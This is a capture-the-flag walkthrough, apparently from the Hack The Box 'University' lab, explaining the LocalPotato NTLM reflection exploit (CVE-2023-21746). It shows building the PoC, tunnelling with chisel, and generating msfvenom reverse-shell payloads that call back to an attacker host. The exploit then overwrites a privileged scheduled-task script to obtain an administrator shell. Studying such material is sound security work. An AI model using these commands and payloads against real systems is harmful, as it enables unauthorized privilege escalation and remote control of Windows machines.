LocalPotato (CVE-2023-21746)


LocalPotato is one of the most recent findings by the original Potato exploits author. Interesting thing about LocalPotato is that it does not rely on exploiting a token privilege, rather it’s a type of NTLM reflection attack that exploits local authentication mechanisms in Windows systems to achieve arbitrary file read/write capabilities. This can be leveraged for privilege escalation, allowing an unprivileged user to gain SYSTEM-level access.

Key Concepts:

  1. NTLM Authentication: The exploit takes advantage of the NTLM (NT LAN Manager) authentication protocol, particularly in local authentication scenarios where both the client and server are on the same machine.
  2. Reserved Field Exploitation: During the NTLM authentication process, the “Reserved” field in Type 2 messages can be manipulated to swap the context between a privileged user and an unprivileged one, allowing for unauthorized access.
  3. Coercing Privileged Clients:
    • The exploit relies on specific triggers to coerce a privileged client into authenticating through the exploit:
      • BITS Service: Uses the BITS service’s attempt to authenticate as the SYSTEM user via HTTP on port 5985.
      • RemotePotato0: This involves exploiting standard COM marshaling with certain CLSIDs that authenticate as SYSTEM.
  4. Challenges with Server Services:
    • Initial attempts to exploit RPC services were thwarted due to mitigations against authentication relay attacks.
    • The focus shifted to exploiting the SMB server, looking for scenarios where arbitrary file writes could be executed without the need for signing, which is typical for non-Domain Controller servers.
  5. Proof of Concept (PoC):
    • The PoC was developed to demonstrate the LocalPotato exploit, simplifying the attack chain by keeping it entirely local on the victim machine.
    • It manipulates NTLM messages and can convert arbitrary file writes into elevation of privilege exploits by overwriting system libraries (like printconfig.dll) or using various techniques (e.g., XPS Print Jobs, DLL hijacking).

Conclusion: The LocalPotato exploit showcases a sophisticated approach to privilege escalation by exploiting local NTLM authentication vulnerabilities. By manipulating the authentication context, it allows unprivileged users to impersonate SYSTEM-level accounts. The detailed description of triggers, exploit methods, and mitigations reflects the complexity of modern Windows security and the ongoing arms race between security measures and exploit techniques.

Exploit (LocalPotato)


PoC is available on GitHub

Compiling


PS C:\Users\tacticalgator\source\repos> git clone https://github.com/decoder-it/LocalPotato ; start LocalPotato\LocalPotato.sln
Cloning into 'LocalPotato'...
remote: Enumerating objects: 139, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 139 (delta 12), reused 7 (delta 4), pack-reused 110 (from 1)
Receiving objects: 100% (139/139), 55.22 KiB | 1.62 MiB/s, done.
Resolving deltas: 100% (74/74), done.

Downloading the exploit repo and launching the solution file

It was initially created with toolset v143 I will change it to v142 since I don’t have v143 installed

Build complete

Exploitaiton


meterpreter > upload LocalPotato.exe C:\\tmp\\
[*] Uploading  : /home/kali/archive/htb/labs/university/LocalPotato.exe -> C:\tmp\LocalPotato.exe
[*] Completed  : /home/kali/archive/htb/labs/university/LocalPotato.exe -> C:\tmp\LocalPotato.exe

Delivery complete over the meterpreter session

*Evil-WinRM* PS C:\tmp> Start-Job { & "C:\tmp\chiselx64.exe" client -v --fingerprint "DjxIsLwP6pEDK3Icff4yS+DPhrs531hjLJyiCJPwc5o=" 10.10.14.85:55555 192.168.99.1:4444:10.10.14.85:3333 }
 
Id     Name            PSJobTypeName   State         HasMoreData     Location             Command
--     ----            -------------   -----         -----------     --------             -------
5      Job5            BackgroundJob   Running       True            localhost             & "C:\tmp\chiselx64.e...

On the dc.university.htb host, I will create another tunnel using the existing chisel server running on the Kali port 55555. Forwarding every inbound traffic to 192.168.99.1:4444 to Kali:3333

Failed Attempts


┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.1 LPORT=4444 -f dll -o pe_wc-3.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: pe_wc-3.dll

Much like the original PoC, I will attempt the DLL injection to the PrintConfig.dll file and have the instantiated the PrintNotify object load up the injected DLL

*Evil-WinRM* PS C:\tmp> whoami
university\wao
*Evil-WinRM* PS C:\tmp> hostname
WS-3
 
 
*Evil-WinRM* PS C:\tmp> upload pe_ws-3.dll
 
Info: Uploading /home/kali/archive/htb/labs/university/pe_ws-3.dll to C:\tmp\pe_ws-3.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
 
 
*Evil-WinRM* PS C:\tmp> .\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
 
 
	 LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
	 by splinter_code & decoder_it
 
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABKcAtYgopjDwjReh/YZCEZAawAAP/////F1CLTBhPm+SsAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[-] The privileged process failed to communicate with our COM Server :(

The wao user is unable to access the SMB server due to lack of privileges.

PS C:\Windows\system32> whoami
university\martin.t
PS C:\Windows\system32> hostname
WS-3
 
PS C:\Windows\system32> C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
 
 
	 LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV) 
	 by splinter_code & decoder_it
 
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABxQpdsItloxpWXQaJIXDuaAZwAAP////8uGIFsXH/LeysAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM 
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$  success
[!] SMB Create Request File failed with status code 0x103
[!] Unable to open input file: C:\tmp\pe_ws-3.dll

As the martin.t user, the exploit was unable to open the DLL payload; C:\tmp\pe_ws-3.dll

Overwriting To Privileged Scheduled Task Script


Since the user martin.t still cannot access one of the PowerShell scripts in the C:\Program Files\Automation-Scripts directory, the script likely requires higher privileges, accessible only to elevated users such as administrator or SYSTEM.

Furthermore, as suggested by the directory naming, it’s probable that the wpad-cache-cleaner.ps1 PowerShell script runs as a scheduled background task, similar to how the get-lectures.ps1 PowerShell script processes uploaded lecture files.

With the LocalPotato’s file overwrite capability, it would be possible to replace the wpad-cache-cleaner.ps1 script. This modified script would then be executed by the background task, allowing the attacker to run arbitrary code with elevated privileges.

┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.1 LPORT=4444 -f exe -o pe_ws-3.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: pe_ws-3.exe
 
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ cat pe_ws-3.ps1 
C:\tmp\pe_ws-3.exe

The pe_ws-3.ps1 file invokes the reverse shell executable; pe_ws-3.ps1 PowerShell reverse shell was not successful. Likely due to group policy preventing direct outbound TCP connection from PowerShell scripts

meterpreter > upload pe_ws-3.ps1 C:\\tmp\\
[*] Uploading  : /home/kali/archive/htb/labs/university/pe_ws-3.ps1 -> C:\tmp\pe_ws-3.ps1
[*] Completed  : /home/kali/archive/htb/labs/university/pe_ws-3.ps1 -> C:\tmp\pe_ws-3.ps1
 
meterpreter > upload pe_ws-3.exe C:\\tmp\\
[*] Uploading  : /home/kali/archive/htb/labs/university/pe_ws-3.exe -> C:\tmp\pe_ws-3.exe
[*] Completed  : /home/kali/archive/htb/labs/university/pe_ws-3.exe -> C:\tmp\pe_ws-3.exe

Uploading

PS C:\Windows\system32> whoami
university\martin.t
PS C:\Windows\system32> hostname
WS-3
 
 
PS C:\Windows\system32> C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.ps1 -o "\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
 
 
	 LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV) 
	 by splinter_code & decoder_it
 
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAAjXonVE8UvUxS+7yU6hXh6ASgAAP////9847EVTEErzSsAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM 
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$  success
[+] SMB Create Request File: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Write Request file: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Close File success
[+] SMB Tree Disconnect success

Executing LocalPotato to overwrite the “stager” file, pe_ws-3.ps1, to C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1

*Evil-WinRM* PS C:\tmp> ls .\pe_ws-3.ps1 ; ls "C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
 
    Directory: C:\tmp
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/2/2024   5:15 PM             19 pe_ws-3.ps1
 
    Directory: C:\Program Files\Automation-Scripts
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/2/2024   5:15 PM             19 wpad-cache-cleaner.ps1

They both have the same size. This confirms that the exploit was a success

┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ nnc 3333
listening on [any] 3333 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.14.85] 32984
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Windows\system32> whoami
 whoami
ws-3\administrator
 
C:\Windows\system32> hostname
 hostname
WS-3
 
C:\Windows\system32> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet 3:
 
   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::349:6988:18c6:65c6%8
   IPv4 Address. . . . . . . . . . . : 192.168.99.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

System Level Compromise on the ws-3.university.htb host via chaining LocalPotato exploit with a scheduled task